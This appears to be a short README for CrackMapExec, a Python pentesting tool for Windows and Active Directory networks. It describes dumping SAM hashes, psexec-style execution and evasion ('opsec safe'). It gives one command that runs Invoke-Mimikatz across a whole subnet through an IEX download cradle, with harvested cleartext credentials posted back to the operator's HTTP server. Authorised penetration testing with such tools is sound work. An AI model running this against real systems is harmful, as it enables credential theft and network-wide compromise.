CrackMapExec is your one-stop-shop for pentesting Windows/Active Directory environments!

From enumerating logged on users and spidering SMB shares to executing psexec style attacks and auto-injecting Mimikatz into memory using Powershell!

The biggest improvements over the above tools are:
  • Pure Python script, no external tools required
  • Fully concurrent threading
  • Uses ONLY native WinAPI calls for discovering sessions, users, dumping SAM hashes etc...
  • Opsec safe (no binaries are uploaded to dump clear-text credentials, inject shellcode etc...)

Installation on Kali Linux

Run pip install --upgrade -r requirements.txt

Use an IEX cradle to run Invoke-Mimikatz.ps1 on all systems concurrently (PS script gets hosted automatically with an HTTP server), Mimikatz's output then gets POST'ed back to our HTTP server, saved to a log file and parsed for clear-text credentials:
#~ python crackmapexec.py -t 100 172.16.206.0/24 -u username -p password --mimikatz
